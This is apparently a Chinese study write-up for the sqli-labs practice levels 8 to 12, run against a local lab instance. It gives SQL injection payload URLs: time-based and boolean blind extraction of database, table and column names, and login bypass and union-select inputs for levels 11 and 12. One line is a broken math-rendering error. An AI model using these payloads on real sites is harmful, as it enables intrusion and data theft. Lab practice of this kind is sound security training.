LESS-8
此处不同于第5关的是:这里的报错被注释掉了,故不能用报错注入,可以延时注入和布尔注入
延时注入:
http://127.0.0.1/sqlilabs/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))–+
盲注:
http://127.0.0.1/sqlilabs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))%3E80–+
LESS-9
方法和8相同:
1、进行延时注入:
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if (ascii(substr(database(),1,1))=115,1,sleep(5))–+ (同时说明数据库名的第一个元素为s)
扩展:
http://127.0.0.1/sqlilabs/Less-8/?id=1' and if (ascii(substr(database(),2,1))=101,1,sleep(5))–+ (由此可以猜测出数据库名的第二个字母为e,由此方法推测出后面的字母)
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr((select table_name from information schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))–+ (由此猜测数据库下的第一个数据表名的第一个字母为e)拓展:
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr((select table_name from information schema.tables where table_schema='security' limit 1,1),1,1))=101,1,sleep(5))–+ (由此猜测数据库下的第二个数据表名的第一个字母为r)
猜测user表下的第一个列名的值为i:
127.0.0.1/sqlilabs/Less-9/?id=1%27 and if(ascii(substr((select column_name from information schema.columns where table_name=%27user%27 limit 0,1),1,1))=105,1,sleep(5))–+
猜测user表下username列的值:
http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr((select column_name from information schema.columns where table_name='user' limit 0,1),1,1))=105,1,sleep(5))–+
LESS-10
这里类比LESS-9(把单引号改为双引号即可)
http://127.0.0.1/sqlilabs/Less-10/?id=1" and if (ascii(substr(database(),1,1))=115,1,sleep(5))–+
LESS-11
源码:
Username输入:admin’,password随便输入
出现错误提示‘bbb’limit 0,1’ 因为多加的一个单引号,和密码前的单引号成对密闭。二错提示去掉一个单引号后还多了一个单引号(因为密码前的一个单引号和前面用户名的单引号配套,因此密码处的一个单引号落单)。说明他是有单引号闭合的。
当我们提交 username 和 password 后,后台形成的 sql 语句为
@KaTeX parse error: Expected 'EOF', got '#' at position 73: …'admin'or'1'='1#̲ and password='passwd’ LIMIT 0,1";
在#以后的内容就被注释掉,所以语句就成立,我们此时以admin 的用户登录。
用户名为admin的用户名本来对应得密码就是admin
这里我们用 union 注入进行尝试:
Username:1admin’union select 1,database()#
passwd=1(任意密码)
LESS-12
输入admin”后
从错误提示可以看出这是以双引号和括号闭合的方式。
输入:用户名admin”)#
这里注意用 admin”)or 1=1#方式登录的话,居然是 Dumb 登录,这里解释一下为什么不是
admin 登录。其实是因为 sql 执行的优先级的问题